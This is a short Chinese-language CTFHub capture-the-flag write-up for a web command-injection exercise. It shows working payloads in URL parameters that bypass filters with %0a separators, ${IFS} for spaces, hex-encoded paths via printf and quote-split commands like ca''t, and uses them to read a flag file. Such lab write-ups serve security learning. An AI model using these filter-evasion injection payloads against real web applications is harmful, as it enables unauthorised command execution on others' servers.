CTFHub_技能树_Web之RCE——“命令注入综合练习”
解题过程
最后一题来了个狠的,cat、flag还有各种符号都被过滤了
分隔符可以使用%0a
代替
若直接使用文本框上传命令会导致字符被转义,直接访问URL
/?ip=127.0.0.1%0als
=> 127.0.0.1;ls
查看目录
接下来要访问flag_is_here
,需要绕过空格过滤、flag文字过滤并且显示文件夹的内容
(space)
=> ${IFS}
对于文件夹的内容,使用$(printf "路径")
代替路径
对于路径文字过滤,转换成16进制字符串
访问URL
/?ip=127.0.0.1%0als${IFS}$(printf${IFS}"\x66\x6c\x61\x67\x5f\x69\x73\x5f\x68\x65\x72\x65")
=> 127.0.0.1;ls flag_is_here
接着绕过cat,使用16进制字符串访问文件即可
cat => ca''t
/ ca""t
/?ip=127.0.0.1%0aca''t${IFS}$(printf${IFS}"\x66\x6c\x61\x67\x5f\x69\x73\x5f\x68\x65\x72\x65\x2f\x66\x6c\x61\x67\x5f\x39\x34\x33\x32\x34\x33\x38\x33\x31\x35\x30\x32\x30\x2e\x70\x68\x70")
=> 127.0.0.1;cat flag_is_here/flag_9432438315020.php
FLAG藏在注释里
完
欢迎在评论区留言
感谢浏览